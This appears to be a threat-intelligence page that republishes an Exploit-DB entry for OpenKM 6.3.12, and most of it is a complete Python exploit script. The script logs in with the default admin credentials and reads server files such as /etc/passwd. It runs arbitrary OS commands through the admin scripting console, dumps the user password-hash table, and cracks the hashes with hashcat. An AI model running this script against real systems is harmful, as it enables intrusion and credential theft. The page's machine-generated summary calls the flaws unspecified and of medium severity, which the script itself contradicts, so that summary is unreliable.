OpenKM 6.3.12 - Multiple
Multiple security issues affecting OpenKM version 6. 3. 12 have been identified, with available exploit code written in Python. The details of the vulnerabilities are not specified beyond the version and presence of exploits. The severity is assessed as medium based on available information.
AI Analysis
Technical Summary
OpenKM 6.3.12 is affected by multiple unspecified vulnerabilities that have been publicly disclosed with exploit code available on Exploit-DB (ID 52520). The exploit code is implemented in Python. No detailed technical descriptions or specific vulnerability types are provided in the source data.
Potential Impact
The impact involves potential exploitation of multiple vulnerabilities in OpenKM 6.3.12, which could lead to unauthorized actions depending on the nature of the vulnerabilities. Specific impacts are not detailed in the available information.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Since no patch or official fix information is provided, users should monitor vendor communications for updates and consider applying general security best practices relevant to OpenKM until a fix is available.
Indicators of Compromise
- exploit-code: # Exploit Title: OpenKM Multiple Critical Zero-Day # Date: 17 Jan 2026 # Exploit Author: Terra System Labs Pvt. Ltd. # Vendor Homepage: https://www.openkm.com/ # Software Link: https://hub.docker.com/r/openkm/openkm-ce # Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions # Tested on: Windows and Linux Docker # CVE : N/A import requests import argparse import os import subprocess from importlib import import_module import re import signal import sys import getpass print("Research Conducted By: Terra System Labs Research Team") print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs") # Ensure all required libraries are installed and re-import missing ones def check_and_install_libraries(): required_libraries = ["requests", "bs4", "prettytable", "termcolor"] for lib in required_libraries: try: import_module(lib) except ImportError: print(f"Library {lib} not found. Installing...") subprocess.check_call([ sys.executable, "-m", "pip", "install", lib, "--break-system-packages" ]) print(f"Library {lib} installed successfully.") check_and_install_libraries() from bs4 import BeautifulSoup from prettytable import PrettyTable try: from termcolor import colored use_colored_output = True except ImportError: use_colored_output = False # Utility function for colored output def print_colored(message, color): if use_colored_output: print(colored(message, color)) else: print(message) # Global session to persist cookies and authentication session = requests.Session() def signal_handler(sig, frame): print_colored("\nDetected CTRL+C. Logging out...", "red") if "base_url" in globals(): logout(base_url, proxies, verify_ssl) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def check_version(base_url, proxies, verify_ssl): print_colored("Checking OpenKM version...", "cyan") version_url = f"{base_url}/frontend/Workspace" headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url, "Referer": f"{base_url}/frontend/index.jsp", } payload = ( f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|" "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|" ) response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and response.text.startswith("//OK"): try: strings = re.findall(r'"([^"]+)"', response.text) idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346") build = strings[idx + 1] release_type = strings[idx + 2] ver_major = strings[idx + 3] ver_minor = strings[idx + 4] ver_patch = strings[idx + 5] print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green") except Exception as e: print_colored(f"Failed to parse version: {e}", "red") else: print_colored("Failed to fetch version information.", "red") # Function to handle login def login(base_url, username, password): login_url = f"{base_url}/login.jsp" login_payload = { "j_username": username, "j_password": password, "j_language": "en-GB", "submit": "" } login_post_url = f"{base_url}/j_spring_security_check" response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl) if "error" in response.url: print_colored("Login failed. Check credentials.", "red") return False print_colored("Login successful using default credentials or provided oen, if any.", "green") check_version(base_url, proxies, verify_ssl) return True # Function for Local File Inclusion (LFI) def lfi(base_url, read_file, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return script_payload = { "csrft": csrf_token, "script": "", "fsPath": read_file, "action": "Load" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, "html.parser") textarea = soup.find("textarea", {"id": "script"}) if textarea: print_colored("LFI Successful. Extracted Content:", "green") print(textarea.text.strip()) else: print_colored("Content not found.", "red") else: print_colored("LFI exploit failed.", "red") # Function for Remote Code Execution (RCE) def rce(base_url, command, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return exploit_payload = f""" try {{ Process process = Runtime.getRuntime().exec("{command}"); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String output = reader.readLine(); print("Result: " + output); }} catch (IOException e) {{ print("Error: " + e.getMessage()); }} """ script_payload = { "csrft": csrf_token, "script": exploit_payload, "fsPath": "", "action": "Evaluate" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: match = re.search(r"Result:\s*(\w+)", response.text) if match: print_colored("RCE Successful. Result:", "green") print(match.group(1)) else: print_colored("RCE failed to return a result.", "red") #Function for crack hash def crack_password(): # Extract hashes from hashes.txt and save to md5_hashes.txt def extract_hashes_to_file(): try: with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Extract only the hashes (after the colon) hashes_only = [line.split(":")[1].strip() for line in hashes_data] # Write the hashes to md5_hashes.txt with open("md5_hashes.txt", "w") as file: file.write("\n".join(hashes_only)) print("Hashes successfully extracted to md5_hashes.txt") except FileNotFoundError: print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.") # Combine usernames with cracked passwords def combine_passwords(): try: # Load usernames and hashes from hashes.txt with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Load cracked hashes and passwords from cracked_hashes.txt with open("cracked_hashes.txt", "r") as file: cracked_data = file.readlines() # Parse data into dictionaries hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data} cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data} # Match and combine data into final_cracked.txt final_cracked = ["Username:Passwords\n"] # Add header for username, hash_value in hashes_dict.items(): if hash_value in cracked_dict: password = cracked_dict[hash_value] final_cracked.append(f"{username}:{password}\n") # Save the results to final_cracked.txt final_cracked_path = os.path.abspath("final_cracked.txt") with open(final_cracked_path, "w") as file: file.writelines(final_cracked) print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green") # Confirm with the user before displaying passwords show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower() if show_passwords == 'y': print("{:<20} {:<20}".format("Username", "Password")) print("-" * 40) for line in final_cracked[1:]: # Skip header username, password = line.strip().split(":") print("{:<20} {:<20}".format(username, password)) exit(0) else: print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext") except FileNotFoundError: print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.") # Main script if __name__ == "__main__": # Step 1: Extract hashes to md5_hashes.txt extract_hashes_to_file() # Step 2: Prompt user for the wordlist path and use default if not provided wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip() if not wordlist_path: wordlist_path = "/usr/share/wordlists/rockyou.txt" import os # Run hashcat commands print("Running hashcat...") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt") # Step 3: Combine usernames with cracked passwords combine_passwords() # Function for SQL Injection (SQLi) def sqli(base_url, proxies, verify_ssl): print_colored("Running Unrestricted SQL Query...", "magenta") query_url = f"{base_url}/admin/DatabaseQuery" multipart_form_data = ( "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"qs\"\r\n\r\n" "SELECT * FROM OKM_USER;\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"tables\"\r\n\r\n" "OKM_USER\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"type\"\r\n\r\n" "jdbc\r\n" "-----------------------------88617175833200583821560840739--" ) headers = { "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739", } response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') table = soup.find('table', class_='results-old') if table: print_colored("SQL Injection Successful. Results:", "green") rows = table.find_all('tr') table_data = PrettyTable() headers = [header.text.strip() for header in rows[0].find_all('th')] table_data.field_names = headers with open("hashes.txt", "w") as file: for row in rows[1:]: columns = row.find_all(['td', 'th']) # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]] if len(row_data) == len(headers): table_data.add_row(row_data) # Write USR_ID and USR_PASSWORD to the file usr_id = row_data[headers.index("USR_ID")] usr_password = row_data[headers.index("USR_PASSWORD")] file.write(f"{usr_id}:{usr_password}\n") print(table_data) #current_directory = os.getcwd() print_colored("hashes.txt created in the current directory", "green") crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip() if crack_hash in ['y', 'Y']: crack_password() else: print("Skipping password cracking...") exit() else: print_colored("No results found.", "red") else: print_colored("SQL Injection failed.", "red") # Function for logout def logout(base_url, proxies, verify_ssl): print_colored("Logging out...", "green") logout_url = f"{base_url}/frontend/Auth" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url } logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|" response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and "//OK" in response.text: print_colored("Logged out successfully.", "green") else: print_colored("Logout failed.", "red") # Main function def main(): global base_url, proxies, verify_ssl parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool") parser.add_argument("--url", required=True, help="Base URL of the target application") parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)") parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT") parser.add_argument("--login", help="Credentials in the format username:password") args = parser.parse_args() help1 = args.run if help1 in ["-h", "--help"]: print_colored("Run python3 openkm-scanner.py --url http://host:port") base_url = args.url[:-1] if args.url.endswith('/') else args.url if not base_url.endswith("/OpenKM"): base_url += "/OpenKM" proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None verify_ssl = False if args.login: try: username, password = args.login.split(":", 1) except ValueError: print_colored("Invalid format for --login. Use username:password", "red") return else: username = "okmAdmin" password = "admin" if not login(base_url, username, password): return # if args.login: # print("Username Received", login) # try: # username, password = args.login.split(":", 1) # except ValueError: # print_colored("Invalid format for --login. Use username:password", "red") # return # else: # username = "okmAdmin" # password = "admin" # if not login(base_url, username, password): # return run_tests = args.run if not run_tests: run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper() if run_tests in ['A', 'a']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) sqli(base_url, proxies, verify_ssl) crack_password() exit() if run_tests in ['L', 'l']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) if run_tests in ['R', 'r']: print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) if run_tests in ['S', 's']: sqli(base_url, proxies, verify_ssl) if __name__ == "__main__": main()
OpenKM 6.3.12 - Multiple
Description
Multiple security issues affecting OpenKM version 6. 3. 12 have been identified, with available exploit code written in Python. The details of the vulnerabilities are not specified beyond the version and presence of exploits. The severity is assessed as medium based on available information.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
OpenKM 6.3.12 is affected by multiple unspecified vulnerabilities that have been publicly disclosed with exploit code available on Exploit-DB (ID 52520). The exploit code is implemented in Python. No detailed technical descriptions or specific vulnerability types are provided in the source data.
Potential Impact
The impact involves potential exploitation of multiple vulnerabilities in OpenKM 6.3.12, which could lead to unauthorized actions depending on the nature of the vulnerabilities. Specific impacts are not detailed in the available information.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Since no patch or official fix information is provided, users should monitor vendor communications for updates and consider applying general security best practices relevant to OpenKM until a fix is available.
Technical Details
- Edb Id
- 52520
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for OpenKM 6.3.12 - Multiple
# Exploit Title: OpenKM Multiple Critical Zero-Day # Date: 17 Jan 2026 # Exploit Author: Terra System Labs Pvt. Ltd. # Vendor Homepage: https://www.openkm.com/ # Software Link: https://hub.docker.com/r/openkm/openkm-ce # Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions # Tested on: Windows and Linux Docker # CVE : N/A import requests import argparse import os import subprocess from importlib import import_module import re import signal import sys impo... (17253 more characters)
Threat ID: 69f1f0fdcbff5d8610047e53
Added to database: 4/29/2026, 11:52:29 AM
Last enriched: 4/29/2026, 11:53:17 AM
Last updated: 4/30/2026, 3:47:20 AM
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.